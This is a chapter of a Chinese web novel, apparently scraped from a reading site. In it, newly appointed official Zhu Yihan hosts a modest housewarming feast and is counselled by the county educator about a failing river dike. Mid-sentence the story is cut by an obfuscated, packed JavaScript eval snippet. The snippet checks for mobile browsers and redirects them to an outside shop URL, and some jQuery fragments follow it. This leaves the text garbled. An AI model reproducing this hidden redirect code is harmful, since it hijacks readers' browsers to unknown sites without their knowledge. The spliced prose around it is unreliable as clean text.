38. 第三十八章

作品:《开局乞丐花钱发财

    因为先头搬家到铺子里的时候,只自家几个人一起吃了顿饭,门口放了两挂鞭炮热闹了一下。


    这次搬到了大宅子里,前后耽误了这么些天打扫好了,也准备请之前熟识的人家到宅子里一起吃顿暖屋酒。


    之前曾经一起去买粮的孙万福听说了他们搬家的事情后,还托孙大爷送了一个荷包过来,里面是装了一钱银子的礼钱。


    听说之前休息的时间过了,又赶在年前接了一趟路程短些的镖。


    算算日子,估摸着这两天也就该回县城了。


    朱奕寒把这事挤在心里,然后盘算了一下,暖屋酒当日大概会有多少人过来。


    铁头和红豆他们就算不上礼也要管顿饭,不说这一路走来帮了他们多少忙,相识这么久,也都算是自家亲朋了。


    还有孙大爷、孙大娘和梅大婶他们,还有阿兰和阿桂的朋友,也有几个人的。


    他们年纪小,即便说是来朋友家贺喜乔迁,家里估摸着也不会让他们几个孩子自己来,怎么着也要带着一两个大人一起来。


    这样算算,就已经有快两桌人了。


    再加上自己铺子里和宅子里的这么些人一起,三桌应该是够了的。


    挑挑拣拣删去了部分东西,朱奕寒正在埋头写暖屋酒当日菜色的笔忽的一顿——差点忘了自己现在还有上级和同僚。


    提前两天亲自去给几个同僚送红纸写好的乔迁帖,这次暖屋酒的时间定在午时,来不来都随意他们。


    想着知县大人每日公务繁忙,他也只送了一份自家做的米面腊味礼盒送了过去,备明是乔迁薄食略表心意。


    朱奕寒乔迁的私宅在城南,离之前码头的两间铺子不远,是座三进的小宅院,青砖院墙,木门上只贴了两张素红纸,写着「乔迁之喜」。


    是住在厢房里的陆夫子提前一天写好贴上去的。


    宅子里没有很是隆重的到处张灯结彩,只在甫一进门的院里摆了四张八仙桌,上面摆着的全是自家忙活的一些家常菜——


    腊味合蒸是自家腌的腊肉腊肠和腊鸡,酒糟鱼是早上刚从码头上现买鲜鱼酿的,还有一锅花了两三个时辰才炖得软烂的排骨萝卜,山竹草羊煲、糯米年糕、津菜烩虾仁还有些时鲜菜蔬小炒,连酒都是粮铺自酿的米酒,易入口不上头。


    辰时末,县学学正最先到,手里只拎了一摞旧书,青布儒衫依旧朴素,进门瞧见院里光景的时候眉头先松了几分:“朱大人乔迁,倒比传闻中低调得多。”


    一边说,一边把自己手中的那几本书递了过去,“这些是陆学员同我询问的一些典籍和律法,正好当做这次的暖屋随礼赠与朱大人。”


    传闻?


    是说当日在公堂上当众捐粮的事情吗?


    顾不得多想,朱奕寒赶忙迎上去接过了书,躬身作揖,亲自引着入座奉茶:“晚辈本是商人出身,捐粮得官已是侥幸,怎敢铺张?先生肯赏光,已是晚辈的福气。这几卷旧书晚辈当好好研读。”


    “往后官场规矩、圣贤道理,还得劳烦先生点拨。”


    王学正捻须点头,原本心里因为他「捐纳出身」存的几分轻视,现如今因为这一照面后的交谈而消了大半:“你能守住本心就好,为官不在出身,在做事。”


    陆夫子这时候也从后院厢房那边过来了,三人正当碰面,就这段时间在朱家教学遇见的事情言谈了起来。


    聊到兴起的时候,典史、主簿也都陆续而至,各自带了薄礼——典史送了两串铜钱,是时下乔迁暖屋图吉利用的,带着好意头。


    主簿倒是没带铜钱,而是送了一沓空白文书纸,朱奕寒收下的时候不免多感谢了两句,这东西对他这样一头扎进官场的新人来说很实用,能帮着补一补官场文书的短板。


    等到引着入座,因为王学正带头,所以全程也只是偶然聊起几次官话,更多的是在说县城这边的乡俗年景、近段时间的粮铺收成,像是邻里闲话。


    朱奕寒一开始坐着的时候还担心过自己会插不进话题,但好在这样的谈话氛围,对他倒很是友好。


    偏桌旁,老石匠鲁大和菜头他们正吃得热络,朱奕寒端着酒杯走过去,给三人满上:“鲁伯,先前修田地水渠还是多麻烦你了,往后要是还有活计,怕是还要麻烦你了。”


    买了这三进宅子后,系统给评估返现了三十亩的田地,朱奕寒也是去村子里找人帮忙修整好的。


    鲁大闻言咧嘴笑,端着酒杯开口道:“朱大人是实在人,先头也是菜头帮忙牵的线,这么一番下来也攒了不少钱,俺们也都要谢谢你嘞!”


    “哪里哪里,鲁伯你们太客气了。”


    席间虽然没设置什么鼓乐,桌面上的菜色也算不上珍馐,却吃得热热闹闹。


    王学正看着朱奕寒和匠人谈笑风生,不摆官威、不忘本的模样,确实和之前认识的某些官员不大相同,当下没忍住对身旁教谕低声道:“这朱奕寒虽是捐纳出身,此番瞧着倒比有些科甲进士更懂民生。”


    闻言,原本半低着头夹菜的教谕跟着往那边瞧了一眼,却没说话。


    等到暖屋宴散的时候,冬季的日头已经偏西,久违的冬日暖阳晒的院子里的青砖也带上了些许温度。


    朱奕寒送众人到门口,感谢大家这次抽空前来的同时也给每人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087589|194345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    递上一包自家做的糯米糕和腊味:“小小回礼,不成敬意,多谢诸位赏光。”


    送走最后一人,朱奕寒看着院里收拾的碗筷,正待要过去一起帮忙的时候,小厮宝山从大门处来报:“大人,县衙差役来传,知县大人收下了咱们送的礼盒,还让带话,说大人你‘懂礼数、知分寸’。”


    朱奕寒闻言嘴角微扬——礼数到了,在知县那里的印象也立住了,今天这一顿忙碌总算是跨出了从‘朱老板’到‘朱大人’的第一步。


    心下稍松的时候,却见王学正不知什么时候转身又折了回来,手里依旧拎着空书袋,只是神色比席间更显郑重。


    “学正大人可是忘了带什么东西?”朱奕寒忙上前,示意下人奉上新沏的热茶,语气里多了几分真切的敬重。


    “许是有吧。”


    王学正在廊下石凳坐下,接过茶盏暖着手。


    他呷了口茶,这次再开口说话便开门见山,没有半分客套:“朱大人,你捐粮得官,虽是恩典,却也是难处。”


    朱奕寒躬身垂首:“晚辈明白,科甲出身瞧不上捐纳,同僚怕你商人重利,百姓盼你当官做主,这三步,一步都难走。”


    “你倒通透。”王学正眼中闪过几分赞许,放下茶盏,字字恳切。“老夫今日来,瞧你行事低调、不忘本,心里原本的偏见也去了大半。”


    朱奕寒听得心头一暖,忙躬身作揖:“谢先生夸赞。”


    王学正语气沉了几分,似是随口一提般的又道:“前几日接连阴雨,老夫去城西文庙查勘漏雨的时候正巧路过河堤,见堤岸土松,浪头拍一下就掉下一块泥去。”


    “询问那守堤的乡勇们也只说是因为底下埋着十年朽木,所以也没人当回事。你若得空,也可以去看看。”


    河堤?


    朱奕寒听到这话后心头还有几分不解,等抬头对上王学正的目光又像是忽然若有所悟,于是点点头应了下来:“好,晚辈明日一早就去河堤勘察!”


    “甚好。”王学正站起身,拍了拍他的肩,面上也露了些真切的笑,“老夫那里还有几本《河工杂记》和《县丞实务册》,明日让人给你送来。”


    “先前同你推荐的陆学员学问不错,听闻这些时日也对你家夸赞不断,老夫便多嘴,往后官场规矩、实务疑难,尽可来县学寻我。”


    这话一出,朱奕寒眼眶微热,当下便一个深深作揖:“多谢先生抬爱!晚辈定不负先生期许,不负百姓,不负这身官衣!”


    王学正闻言却也只是摆了摆手,把朱奕寒扶起后拎着书袋缓步走出门,背影在残阳里愈发清瘦,却透着些文人的风骨。